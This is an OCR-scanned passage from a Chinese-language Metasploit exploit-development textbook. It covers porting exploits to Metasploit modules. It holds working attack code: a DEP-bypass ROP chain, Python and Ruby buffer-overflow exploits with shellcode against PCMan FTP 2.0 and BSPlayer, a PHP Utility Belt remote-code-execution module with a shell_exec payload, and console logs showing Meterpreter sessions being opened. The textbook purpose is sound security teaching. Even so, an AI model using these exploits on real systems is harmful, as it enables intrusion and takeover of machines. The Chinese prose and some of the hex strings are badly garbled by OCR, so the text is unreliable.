0x6250609c, # ptr to &VirtualProtect () [IAT essfunc.dll]
0x7648fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN
[MSCTF.d11]

0x77276ded4, # POP EBP # RETN [msvcrt.dll]

0x77492273, # & jmp esp [NSI.dll]
0x77231834, # POP EAX # RETN [msvcrt.dll]
Oxfffffdff, # Value to negate, will become 0x00000201
0x76d6f3a8, # NEG EAX # RETN [RPCRT4.dl11]
0x7648f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll]
0x77231834, # POP EAX # RETN [msvcrt.dll]
OxffffffcO0, # Value to negate, will become 0x00000040
0x765c4802, # NEG EAX # RETN [user32.dll]
0x770cbd3a, # XCHG EAX,EDX # RETN [kernel32.dl1l]
0x77229111, # POP ECX # RETN [msvcrt.dll]
0x74ed741la, # &Writable location [mswsock.dll]
0x774b2963, # POP EDI # RETN [USP10.dl1]
0x765c4804, # RETN (ROP NOP) [user32.dll]
0x7723f5d4, # POP EAX # RETN [msvcrt.dll]

#

0x90909090, nop
0x774c848e, # PUSHAD # RETN [USP10.d11]
].flatten.pack ("vV*")

return rop_gadgets
end
def exploit
connect
rop_chain = create_rop_chain()
junk = rand_text_alpha_upper (target['Offset'])
buf = "TRUN ."+junk + rop_chain + make_nops(16) +
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payload.encoded+'\r\n'
sock.put (buf)
handler
disconnect
end
end

F AT Mrop_chains.txt3CAFHE MonalIA f= 4 ) create_rop_chainREUE Hil 2B B,
KBS BRI HER, 25 HHcreate_rop_chainph%, JB 52 AUROPHEIRAFE]

rop_chalnxm e,

TR, A M rand_text_alpha_upperRELAIEE T — ML 12006 LA 74T
B IR HARAAAE— A2 R G unk A o XA R P A IR AR T TRuN A 2 A9 4RET o IR,
Bl —A 4 Houf BT, IRE 2 TRUN S0 T 2006 N BENL FAF ) Junk B Mlrop_chain
BAFAEX A A . e, PR — eI S AIShellCode TR N bu £ 75 HE

TR, BX D out BB ERiBEsock. put kW, o, VA handler> ki iX iz
%

AT, KRR BB IZR S .

msf exploit(example9999-1rop) > exploit i

[*] Started bind handler

[*] Sending stage (957487 bytes) to 192.168.10.105

[*] Meterpreter session 1 opened (192.168.10.118:53655 -> 192.168.10.105:4444) a
t 2016-04-15 02:26:21 -0400

meterpreter > sysinfo
Computer : WIN-97G4SSDJID5S

0s : Windows 7 (Build 7600).
Architecture : x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/win32

meterpreter >

TRESE RNTE &Mk TDEPIRFILE], BUEStAT LN EBEREHITRBETIET .

3.5 HABRIFHLE

TEAE Y, AT A TR TR IR B s i . fE0F Ll ferh, %8t 7 SEHMIDEPLRIHL
il o HATH IR PRI AR IA A bk 2= 8] 75 R FE#L 4K ( Address Space Layout Randomization, ASLR ),
Hicookies . SafeSEH . SEHOPLLILAFLHA . 74l 14 1A 155 S5 M 2P 5146 B L (1
BUEIA 7k o AN EERRAR X S T3, T el g . BRAER ARy T A AR B A i
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X —AME F 09 4R 37 Buh) S8 A2 ¢« hittps://www.corelan.be/index.Php/29/9/21/
8 exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslt/,,

Jn R ALIRIR K THX 69 & %15 8, 3% Flhttp://resources.infosecinstitute.com/
debugging-fundamentals-for-exploit-development/

3.6 /Ihgg

EX—FH, AN T 1EMetasploitH 4 5 5 B A L g Behtt . —HES DU EA7E S
BEPREEE . ARTRIRAMG TR TG BT . T SEHR RS 1 DL ] 585 DEPZ 2R 1Y
PRIPLE . FRATIES > T & FhFEMetasploit FRBH BN BT K B9 T H . BAMENZR T IRF45F
25 [va] PR A% B 2

WAE, FAMICLTLISEMIRZAES 1, IAnTEsG ) T2/ HE B Tl Metasploiti 4w 5 i/t
BERY, MRS A B AR N, WEF AP NERTrL, JF A T
PRI

T2 SER TR MetasploithE 4L ORI HGE FHEN T2 A TF 1M HA IR . FRATEAE
BN S MetasploitEZE




SIEERIIFE

“REFRRBEHRIFA L, MARLEERBAZERT BB A —MAAK
T RAH AR, PTARAMA T 2B sl TiX A,

—Youssef Rebahi Gilbert, M%& %A% %

b —EE ] T fEMetasploit P i 5B B . i, WERFEAREFE A HIN B AR
Yo, WA MEEHREG DT o XEC AT R ISR AT REE A RIE S 9509, BiliiPerl |
Python., C5§. T IHIJTAGSE T Ui AN R]TE 5 95 AR B AL M 21 MetasploithE 2R . il i X AL
i, T LUK Fh DA AR R (AR R 5 MetasploitHf 25 I iB B AR, NIMTARIT5 44 B 52
PRI ey SIS VIR O

ATERHEIR T LT LA A,

Q RIS ) 5 9 S RO BB HE B Metasploit
Q WA S7 A2 AR A A i D RESE B
Q S B IR S TR AR A Metasploithibh .

WERAHTERE T B B i R BRI T T 24155, IR 2B B A F MetasploitHESE
WA — AR S T

HO— 5 BT BT, o — S RS A B Metasploitf AN RE 15 4 BB Bt 1)
IFIE] o ZERT KA 4 W 25 A T8 M B i A RE AR B AR AR RO DL F . 53k, B TR 1Y
B— B BRI E T Metasploit, X (1452 M H N HAT A 20E 821 R 2 anfor S5 9
Metasploit) il FAE 4

4.1 SA—PETHINE DX 2B ER

TERE TR B rh , FATHE B Qs —A~ FHPythonZi 5 BB BB T A Bl MetasploitHr
PR7] LI Mhttps://www.exploit-db.com/exploits/31255/ F #iX BB, T 1R 43T X b
B
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import socket as s
from sys import argv

host = "127.0.0.1"

fuser = "anonymous"

fpass = "anonymous"

junk = '"\x41' * 2008
espaddress = '\x72\x93\xab\x71"
nops = '\x90' * 10

shellcode= ("\xba\xlc\xb4d\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xcI\xbl"
"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"
"\xa2\x6b\xab\x71\x2a\x8e\x%a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"
"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"
"\x41\x8f\x01\x2f\x96\x6f\x3b\xel\xeb\x6e\x7c\x1c\x03\x22\xd5"
"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33 \xad\xbl1\xf8\xc0\x07"
"\xPbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xel\xd7\x9f\x18\xa8\x5c"
"\x6b\xea\x2b\xb5\xa5\x13\xla\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"
"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"
"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"
"\xcb\xel\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0£f\x03\x88\xfe\xf0"
"\xal\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"
"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4d\xf6\x29"
"\xbe\xd8\x08\x84\xfc\xed\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"
"\xbb\xf3\xf0\xfl\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"
"\xba\xde")

sploit = junk+espaddress+nops+shellcode
conn = s.socket (s.AF_INET, s.SOCK_STREAM)
conn.connect ( (host,21))

conn.send('USER '+fuser+'\r\n')

uf = conn.recv(1024)

conn.send('PASS '+fpass+'\r\n')

pf = conn.recv(1024)

conn.send ('CWD '+sploit+'\r\n'")

cf = conn.recv(1024)

conn.close()

B IBIICR T 2497 2085k 2847762 135 1 _E PCMAN FTP 2.0, JfFIfHcwoan 2K
ﬁ/l\wﬁlﬁo

BB UG T TLa

(D) B 40 BRI R IR AR R fuser . passHlhostH,

(2) A7t S unk M {E 20087 FFA. X HLEIPHY % 42008

(3) ¥ IMP ESPHIHBIEIR (25 7F frespaddress, HARR MMl HespaddressAIfE0x71ab9372,
(4) ¥ 10 P NOPLRAFH) & fitnops .

(5) R AR St f i By B A7 2 it shel1code
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(6) ¥fjunk. espaddress. nopskhMshellcodeiEEt RITAAER A Esploit /i,

(7) i FHiEA]s. socket (s.AF_INET, s.SOCK_STREAM) . — M EHEFHEE, RIGHH
connect ( (host,21) ) BRI HAR2105 1,

(8) i HUSERAT A ML i fuser, PASSHTA MIZAL I fpass MU 2 Hinfp L.

(9) [l Abp &k cwptin®, JFTER AN B S sploit, BOKISUS 1R i 2008 4L HYEIPH )
WA, IF— R R

PITIZB BEBIFHras R, AT,

&: PCMan's FTP Server [Online] - 192.168.10.108 <+ Command Prompt - Ellﬂ

Oo(F) O0%) O0H) Microsoft Windows KP [Uersion 5.1.26081
{C> Copyright 1985-2001 Microsoft Corp.

- 5,‘ E 1 L P C:\Documents and Settings“Administrator>cd Desktop
277

1P 77 72 » 27 7777 C:\Documents and Settings“Administrator\Desktop>PCHAN-CUD._py

a i | 2
Frrd P77 73| 2016/05/09 [19:56] Server Online - 192.168.10.109
] | 5 -
i < | LA
0 R B AR G B AT BN P 4 B e EAUVEAR, Rt AR
] 5% 4 5 2 AR A7 T 3 A SO AE 69 AL

BERRIATZ )R, Barb it e,

e+ Command Prompt

- == icrosoft Windows HP [Uersion 5.1.26881 -
E calculator [= J[E ] CC> Copyright 1985-20@1 Microsoft Corp.

Edit Wiew Help

C:xDocuments and Settings“Administrator>cd Desktop

=

C:xDocuments and Settings“Administrator~Desktop>PCHMAN-CUD.py
Traceback {most recent call last):

File "C:“Documents and Settings“Administrator:Desktop:\PCMAN-CUD._py".
I [Backspace” CE ” C ] in <module>
cf = conn.recv{1B824>

wocket.error: [Errno 188541 An existing connection was forcibly closed
o) (DG | e
EE C:xDocuments and Settings“AdministratorDesktop>
L)L
LA

< | *

ALVER], ST RN, X R T BB g TS
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411 WEXRBER

BAEARMNIX B B H — e A (E, SRR T A TR AN ) DI BE Y Metasploithi
P Frabids 0, TRIIH T iXSe(E.

F 5 T B el
1 w5 2008
2 B AR5 B/ i/ 8 FIIMP ESPFE W[ $h /7  Ox71AB9372
B R EE
H b 1 21
4 ShellCode Ik {HFR A B E X ARAYNOP 5 10
B JRHBR 2008/ 5 47 Y HLFE BAR LA B % Bk espaddress,

NOPFlIshellcodelH [ CWDAT 4>

TATIAE O LARAT T i Metasploithl T s (9 28R (5 8 . 76 F—1, ATESFE I A
Metasploitfd i — B B HUE 2 AR —F 5|

4.1.2 ) Metasploit 1&E3R

S —ANFH TR I B8 AR R B LA 7 2t 2 T R R — > MetasploitBE B i i AT B i . AN
i Mona.py At AT LA ) ,uifnﬁji*/l\Metasplom_FH PR, 2R s AR AT H Mona.py
AR R A i — B iR
IAERE — DY REAH [F] Y Metasploithi e Chd .
require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {}
super (update_info (info,
'Name' => 'PCMAN FTP Server Post-Exploitation CWD Command',
'Description' => %q{

This module exploits a buffer overflow vulnerability in PCMAN FTP
}
'Author’ =>
[
'Nipun Jaswal'
1,
'DefaultOptions' =>
{
'"EXITFUNC'
'VERBOSE'

> 'process',
> true
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'Payload’ =>
{
'Space'’ => 1000,
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
I
'Platform' => 'win',
'Targets' =>

[
[ 'Windows XP SP2 English',

{
'Ret' => 0x71ab9372,
'Offset' => 2008
}
1,
1,
'DisclosureDate' => 'May 9 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPPASS', [true, 'FTP Password', 'anonymous'])
],self.class)
End

BTAMERTH LT C AR 2 BE b, BIEX B BRI AT 258k 2 AL . AT 2
FEBI AT A 75 B 22 SO AT /lib/mst/core/exploit H 5 T i ftp rb i SCIF, BEERIIRILI e L T
JI A HR R R . ARE NS EESIE BI SRS B, AT Ret BUME B iR B HLHE AR,
Brof fset ER E 2008, HAMEKFTPPASSIEIIIL BN ' anonymous ' o 55 KF T IRIAICHS

def exploit

c = connect_login

return unless c

sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V")

sploit << make_nops(10)

sploit << payload.encoded

send_cmd( ["CWD " + sploit, false] )
disconnect

end
end

ffifflconnect_login i iR Br, SAEMTHIAHREER T P 2 i 28k . % —
TIRATH AR A B SR I P 2 RS T2 TR AfpEZ G, XM FTPUSER F
FTPPASSIEIIRL 7] LA A 8 5 BX W TAE ., FTPUSERAYERINE Hanonymous, ANid, FATELTE
register_options EF‘>{%FTPPASSlﬂ‘]fﬁiﬁﬁﬁjianonymous Te

BT ¥, fifHrand_text_alphabB%4d: 2008 (iZ{EH Target s IO faet IAE )
W, IPE el RERI S R sploic s fifpack ('v') K TargetsTRet BIE LI/
Uikt ARAF Bl sploi t A8 Fffmake_nop bR A INOPHIShellCode FR M E sploi t A2
J&, A T
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=, [ fpET W send_cmd BRECKH — ML E T i sploit TR cwpin A & 1% 5
Hiro [HIZURAE FMetasploit A MRLLIX HIWE? N A A B MetasploitREMM S 14 o

Q T Fah A A, X — TAEA L rand_text_alphaREel.

Q Ak rRet itk R/ Nmkg =0, X — TAERT LA R pack (' v+ ) SEEL,

Q JFshANOP, X — TAERT AHmake_nops5E .

Q AL BT T AE gD ¥ ShellCode,, R A T LZEARHIZ 1T A FRpR A s el R el 3y o 3X
FEAE T 2L A8 ShellCode s TG/ S T4t , MIMITT48 1 Kt a] .

Q WA HE I fp PESE AL T B AN AEEARE

Qm A ELENRE, HUATEET AR ELME %, B4 Metasploit 1Y 7 %
connect_login5ghl T X TAE,

4.1.3 {FF Metasploit STR Xt BirN B IEFRSIE

FME 2 WRE] T i HIMetasploitth i BLA B SRR AGME AT, 3P RS HIX MRS
BRI, JEXTEE R T

msf > use exploit/windows/masteringmetasploit/pcman_cwd
msf exploit(pcman cwd) > set RHOST 192.168.10.108

RHOST => 192.168.10.108

msf exploit(pcman cwd) > show options

I
Module options (exploit/windows/masteringmetasploit/pcman_cwd) :

Name Current Setting Required Description

FTPPASS anonymous yes FTP Password

FTPUSER anonymous no The username to authenticate as
RHOST 192.168.10.108 yes The target address

RPORT 21 yes The target port

Exploit target:
Id Name

0 Windows XP SP2 English

FTPPASSHIFTPUSERIIEARE. 28k BN T anonymous . £ F 1 B REOSTHI{E I 25,
P 2RAY, I X BART RN TSI . SR RN,

msf exploit(pcman cwd) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(pcman cwd) > exploit

[*] Started bind handler
*] Connecting to FTP server 192.168.10.108:21...
[*] Connected to target FTP server.
*] Authenticating as anonymous with password anonymous...
[*] Sending password. ..
[*] Sending stage (957487 bytes) to 192.168.10.108

meterpreter >
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?ﬂaﬂ]l@lﬁﬁmﬁﬁ%ﬁkmm}ﬁTE%o Metasploitif #2fit | —LL&iAMATIRE, 1T LI B SRR
nEREfL, F—TrEA g TihE

4.1.4 7£ Metasploit K5 IBERPSZIN—MEE (check) &

TEXT HARN AR 71818 2 1, Metasploitn] fE7T A X NP A . X — i+
2L, M 74 BRI B AR — A TR A %BZ&J&L*I?)ET gl
HARERF AR, FRATAB B MR TR . SR E — Bkt Hbr Ry i s (78 F—
Frrp, RIS LR ZE R TR AR B S ):

def check
c = connect_login
disconnect
if ¢ and banner =~ /220 PCMan's FTP Server 2\.0/
vprint_status ("Able to authenticate, and banner shows the vulnerable
version")
return Exploit::CheckCode: :Appears
elsif not ¢ and banner =~ /220 PCMan's FTP Server 2\.0/

vprint_status ("Unable to authenticate, but banner shows the
vulnerable version")
return Exploit::CheckCode: :Appears
end
return Exploit::CheckCode::Safe
end

check LT connect_loginREIT 161, connect_loginpR%n] AWML —
B EbRAESE . IRERERLT, NIRRT LR [Bl—>banner, fiff ] TF N F ik 061X 1~ banner
5 U W #2 ¥ (%) banner #F 47 Fb A, R K D 3% 5 JF H banner VT T B 35, kAT LA H
Exploit::Checkcode: Appears«H Ar“ﬁﬁﬁfﬁnaﬁﬁf{ﬁ%ﬂ ﬂﬂ%L%TﬁEIﬂfH banner
VT OEC . DR BT X A N H RE Y W R A R e R R L A AR K X S R R AR
Exploit::Checkcode: :Appears, F/NAFTEININ; WRFA WK AF ALY, 2R B—4
Exploit::CheckCode: : SafefH R XN R F B AFEAE R

BUAEST A check it 2 B B XA AR P & BALAEI T -

msf exploit(pcman cwd) > check

[*] Connecting to FTP server 192,168.10,108:21,..

[*] Connected to target FTP server.

[*] Authenticating as anonymous with password anonymous. ..

[*] Sending password...

[*] Able to authenticate, and banner shows the vulnerable version
[*] 192.168.10.108:21 - The target appears to be vulnerable.

BN AR IEAFAE IR, AT IR IE

(E’ 4o RABIEIRE F S Hcheck 8 £ % a1 , 5 # Fhttps://github.com/rapid7/

metasploit-framework/wiki/How-to-write-a-check%28%29-method.,
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4.2 FEETF Web #J RCE & Metasploit

AT E S PR A0 () Web AR P B8 B 1L 5 A E|MetasploitH . AT & IR F— L 2K
B, JF2E 2 R X S R B8O S BUIR L3 i+ HoAth S B0 7 SR T RE . FEX Do filrh, FRATRE IR
TPHP utility belt L EAUEHAA TN, XDl 2B T20154F 12 H 8 H o ARATEAM LR 1L 2%
ANEAE IR N, AR P« https://www.exploit-db.com/apps/222c6e2ed4c86£64616e43d1947al f-php-
utility-belt-master.zip,

ARSI Tl S — D posTIRR IS AU A, RIS A FEHCRIX BOS CAA i AU ER
P RIFXT A AL B I o A T 5 s CR S o BRAESRTE B DX i L 264 T T 3hiB i .

Utility Belt Home  Passwords  Regular Expressions  Date & Time  Printf

PHP goes here

fwrite(fopen(info.php’,'w'),'<?php $a = "net user"; echo shell_exec($a);?>');

LR A fwrite, XA SRR SIS EBAER . i fwrite W] HHIFHT
44 Rinfo.phpf 30, SRJGFi<?php $a = "net user"; echo shell_exec ($a);?>5 A%
XA

WmAEPITZ )R, KEBE—A4 Hinfo.phpAUHT SCF, FEEPHPH MG BB AR SCF
TR, RN info.php3CF, wEnl LIRS TS HI45 58

TEWYE &5 4T HFinfo.php, 41°F iR,

localhost,

User accounts for \DESKTOP-PESQ21S -
Administrator Apex DefaultAccount Guest
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ATLAESR], TEinfo.php iU S T AP 4. 8 T H5E — 1T LI2EPHP utility belti
FRACHSHA T ) Metasploitii i, 75 ELAA i 23X AN T R Y GET / POSTIR R, IXAEA RERFFRAN THe) i
PRI RO & 2 B TR B AR S5 b, TR A5 H AR Y MeterpreterfU R

421 WEXRBER

7 FiMetasploit}f- & 3 T Web B B R P, v d 2 AR B 5718 2B A G Web REL . i T3
SEpR B i LA SO SR B S8, I — il o R EOHIE R R D) ——Zs
81 r By e T AE A B CODE S EAL

422 EREFER Web B

Web i FHE > FH (1) 2 22 pR B3GR T L AE /lib/mst/core/exploits/http F i client.rbfZE SO 485
4N, TE/Nib/rex/proto/http | ¥ client.rb 34 Fllclient-request.rb U F0 & % & T GET M POSTIR K A%
AT

J#E U /lib/msf/core/exploit/http/client.rb it LR J5 32 0] LA BIEEHT TP K .

# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
#
def send request raw(opts={}, timeout = 20)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual_ timecut = datastore['HttpClientTimeout']
else
actual_timeout = opts[:timeout] || timeout
end

begin
¢ = connect (opts)
r = c.request_raw (opts)
c.send recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Erroxr
end
end

Connects to the server, creates a request, sends the request,
reads the response

Passes +opts+ through directly to Rex::Proto::Http::Client#request cgi.

=f send request cgi(opts={}, timeout = 20)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual timecut = datastore['HttpClientTimeout']
else

actual_timeout = opts[:timeout] || timeout
end
begin
¢ = connect (opts)
I r = c.request cgi(opts)
c.send recv(r, actual_timeout)

rescue ::Errno::EPIPE, ::Timeout::Error
nil

end

end
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MIAT R E DI THTTPII K, send_request_rawfllsend_request_cgi FiEEAH
IR, (EJER AR BE

send_request_cgl S AES M send_request_rawtfitl, RIGHEHEE, Mi7ER Fh—L
LT, send_request_rawffifF R RI L, BRI T BN,

UnRAR R E AR T BORS IRLE (2 1B 25 K 4L pR I, LA ZEXTREX A 9 B SCHFEATITSE . REXJRESC
PHEHE T SIREBACH N Ak SCHF, R AR .

#

# Regular HTTP stuff

#

‘agent’ => DefaultUserAgent,
"cgi’ =»> true,
'cookie’ =» nil,
"data’ == '
"headers’ => nil,
"raw_headers’ = '',
"method"’ => 'GET',
‘path_info" = ',
‘port’ => 80,
‘proto’ => 'HTTP',
‘query’ = ',
"ssl’ = falEe,
"uri’ = '/,
'vars_get’ => {},
'vars_post’ => {},
"version' = 'l.1",
"vhost' =» nil,

TEIX LT AR 2, BATTRES I i w17 A9 S Ok [ FA TR RGBS RUE, LR
A RIBCE A A6 5E i cookie LA B 4 M AL o 1X FLBRAT] S SfOR R Ak, v ASENS T3 R A
uriZ b, RASEOEHITEIE B AR USRS

AV S Eme thod R FG WX & — N GET, ibsE— A PosTRAIRYIER , XAERI HArEE
s 1] FAR L B i vl LU

42.3 GET/POST FiZEHIFERES

GET T I T 00 Y 19 BTN 1] 435 72 B IR b 18 0 R0 5l DR N AR, T pos T 1438 LTI
FAR PRSI T E— 2D b, BITE, A THTTPE, 7ES%’S 5T Web B BRI AT 0
WFZ T o MHIPoSTIER IR RAEA )15 1 9 T A A A2 30 sl B A1+ 5 5

PRAE KR B A X8 B T BT IR 4
(1) A —14~rosTif=K .
(2) FIFHcopeZ e e o 48ty & 26 26 T A 10 AR 7 7



134 F 4% BEARGHM

(3) #1523k H AR Meterpreterf 2

(4) SE—LE T BB

BAETRA D X T E SRR 54 T RASH T, 3 TR i S — A S8 R RERIB 1B
He, IHHNE T IE# 517,
4.2.4 & HTTP ZiE1RRF N\ E| Metasploit

FEF Sk AEMetasploit 45 — M1 %TPHP utility beliZ RS HATIRIR S B8, Hrb ot
b anr
require 'msf/core’

class Metasploit4 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super (update_info (info,
'Name'' => 'PHP Utility Belt Remote Code Execution',
'Description' => %q{

This module exploits a remote code execution vulnerability in PHP
Utility Belt

I
'Author’ =>
[
'Nipun Jaswal',
1,
'DisclosureDate' => 'May 16 2015°',
'Platform' => 'php',
'Payload’ =>
{
'Space'’ => 2000,
'DisableNops' => true
}
'Targets' =>
[
['"PHP Utility Belt', {}]
1,
'DefaultTarget’ => 0

))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt',
'/php-utility-belt/ajax.php']l),
OptString.new ('CHECKURI', [false, 'Checking Purpose','/php-utility-
belt/info.php']),
], self.class)
end
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FERIERAETE S, AT AT A BT M ESCOE, IF80H TR LB E B . IR Z S
B EAR RN PHPIW IR, T AR HARF- 5 2PHP. BN BLLE (1 I T 7E — 1~ Webhi
R, AL Z BTARF AR, rAZEK D1 sabl eNops I E Mt rue LA A B
A 1 AYNOP . XA Uil 7 ajax. php SCHEH , I ZRG TARGETUR T RY(E 18 B M ajax.php SCIFRINLE .
TN RATAANE T — 44 NCHECKURT BN FAF R AR &, iU ERAIEA A k. T &3S
PR R —3 4

def check
send_request_cgi (
'method’ => 'POST',
'uri' => normalize_uri (target_uri.path),
'vars_post' => {
'code’ => "fwrite(fopen('info.php', 'w'), '<?php echo
phpinfo();?>");"
}
)
resp = send_request_raw({'uri' =>
normalize_uri (datastore[ 'CHECKURI']), 'method' => 'GET'})
if resp.body =~ /phpinfo()/
return Exploit::CheckCode: :Vulnerable
else
return Exploit::CheckCode: :Safe
end
end

A send_request_coi ik posTif K A—Fm & iy k% i & o KB fimethod
M(E T & R PosT, HF URTHME 1 & LA i 4% X /R 19 HFRURL, posT IS4 coDE M E K
fwrite (fopen('info.php', 'w'), '<?php echo phpinfo();?>"');, ﬁﬁﬁ(fﬁﬁﬁ’%%ﬁﬂ
H#—A 44 Hinfo.phpfHi U . HACHEIAT OB, XA ORISR A (PHPE B . FATTid
BT 55 —ANEK, RRRIRBCHT A 1Y info.php U B N 25— & ff Hlsend_request_rawdf
Fmet hodMEIR E NGETINN . ZHTEIEAY S it cHECKUR TRHE N IX MK T URL,

XA RIS RIRAAAE T respBif . TR, BresphiibodyiBir 5k phpinfo () #F
B, MELEER Nerue, FERRCTE B b EHLE DG T info.php 3C 7,
Exploit::CheckCode: :VulnerableER 2R BIZG 7, 0B R 7R — 2% B AR EAUEAETR IR A9
SHE BN AR ARiC NExploit : : CheckCode: : Safe, XF/RNERZAM ., T ifiker
Fexploit k.

def exploit
send_request_cgi (

'method’ => 'POST',
'uri' => normalize_uri (target_uri.path),
'vars_post' => {
'code'’ => payload.encoded
}
)
end

end
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BATRIRI A T —fEi B pos TR, FEXANIEK K codedBoraL & T FRAT A Mo 2k for
METE B BT REME, AT T LIRS B A5 EHLAPHP MeterpreterflfE . T HIRE X
| {%sllljztﬂafo

> use exploit/mm/php-belt
exploit (php-belt) > set RHOST 192.168.10.104
RHOST => 192.168.10.104

msf exploit(php-belt) > set payload php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp

msf exploit(php-belt) > check

] 192.168.10.104:80 - The target is vulnerable.

msf exploit(php-belt) > exploit

[*] Started bind handler
[*] Sending stage (33068 bytes) to 192,168.10,104

[*] Meterpreter session 1 opened (192.168.10.118:45443 -> 192.168.10,104:4444) at 2016-05-09 15:41:0
7 +0530

meterpreter >

meterpreter > sysinfo

Computer : DESKTOP-PESQ21S

0s : Windows NT DESKTOP-PESQ21S 6.2 build 9200 (Windows 8 Professional Edition) i586
Meterpreter : php/php

FATE 22205 H bRt MeterpretertU bR, FEA4 0 M E R RFSHATTE B ELHLHEHUR T — T LLE
W TAER MetasploitiB iR T .

Metasploit &2 A T %&£ PHP utility belti#iFl 6B 7 B3k, TUARVA T bt T
HAXABESE . https://www.exploit-db.com/exploits/39554/

4.3 1% TCP RRr55um/E TR SRAZIEE RS N Metasploit
FEA TS T 50 WD T30 Y0 B 4 TCPIR 45 S 138 B 5 AMeetasploit.

FEXS N AR AT I s B AT, JATT T BE 2o 2 I HARERPF AR B oK /1] B S e
S SR IS T B B BT L o SRR — AT B 0L R e e A i e 2 e A A4

B C\Windows\system32\cmd.exe - 36477.py 127.0.0.1 81 [==] x ]

-

C:\Users\Apex\Desktop>36477.py 127.0.0.1 81
[%] Listening on port 81

L e ey

BS.Player 2.68  Clsad Repest off
Movie sze: 00 "
BSplayer

Open URL [
Open
Fitpe//127.0.0.1:81 -

< 1 3
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7 BT A FH B4 N FH AR P S BSplayer 2.68 . ] LI F], 7E81ui 0 Fisf %—/\Python‘{?iﬁﬁﬁ%
XA Ul P X A AR AR S5 i 1 P9 AT —— 4 P 25— S URLAN K IR o X1 DA 8 134
WS, BESREMA

EC:\Windows\system32\cmd.exe = |[=] S |

-

C:\Users\Apex\Desktop>36477.py 127.0.0.1 81

[%] Listening on port 81

("[*] Sending the payload first time’, ("127.0.0.1°, 49775))
("[*] Sending the payload second time’, ('127.0.8.1°, 49776))

L

~

C:\Users\Apex\Desktop> 'Qﬂ Calculator ==

View Edit Help

(][ 2][s ]l ] ;

Fege L PRSI, AR BRI 2SR TS

<]

=T VA M https://www.exploit-db.com/exploits/36477/ F # iX />4t %+ BSplayer 2.68
#9Pythoni- & A3k .

KEBERXMBBERGAES, TR E MetasploitBi s FIF B .

buf =

buf += xbb\xed\xf3\xb8\x70\xda\xc0\xdI\x74\x24 \x£4\x58\x31"
buf += xcO\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += 85\xc0\xea\x12\x266\x38\xeb\xdd\xee\xdd\xda\x56\x94"
buf += x96\xdf\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01"
buf += xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5"

buf += "\x42\xT7f\x33\x28\282\xb8\x29\xc3\rd6\x11\x26\xT76\xCT"
buf += "\xlé\xT7a\xdb\xeb\xf8\xfl\xf3\x90\x7d\xc5\x80\x2a\xT7f"
buf += "\x15\x38\x20\x37\x8d\x32\x6e\xeB8\xac\x97\xbc\xdd\xeT"
buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xcO\xb8\x75\x6e\xec6\x34"
buf += x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80"
buf += x8a\xeB\xd43\x32\x6f\x09\x87\xab\xed\x05\x6c\xal\xa3"
buf += x09\x73\x66\xd8\x35\x N x0f\xbc\xba\xzad\x8b\xeb"
buf += "\x19\xcf\x8a\x43\xcf\xfO\xcd\x2b\xb0\x54\x85\xd9\xa5"
buf += "\zefi\xcd\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\zdc"
buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\xT7f\x2c\x74\xc2\x15"
buf += "\x6d\x19\xf5\xc3\xbl\x24\x76\xe6\x49\xd3\x66\x83\xdc"
buf += x9f\x20\x7f\x3c\xb0\xc4\xT\x93\xb1\xcc\xe3\x72\x22"
buf += "\xz8c\xcd\xll\xc2\=37\zl2"

jmplong = "\xe9\x85\xe\xff\xff"
nseh = "\xzeb\xf9\x9 \xa\

seh = "\x3b\x58\x00\x00

buflen = len (buf)

response = "\x90" *2048 + buf + "\zcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send (response)

c.close ()

c, addr = s.accept()

print(('[*] Sending the payload second time', addr))

c.recv(1024)

.send (response)

.close ()

.close()

w0 Q0
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XANBIEEIA- R BRI S E I R B HOR R B ZAL 8 25 B 2 Y ShellCode,,
B TR BRI B o A — i EE R S ) HAR AR T G E g i X Y
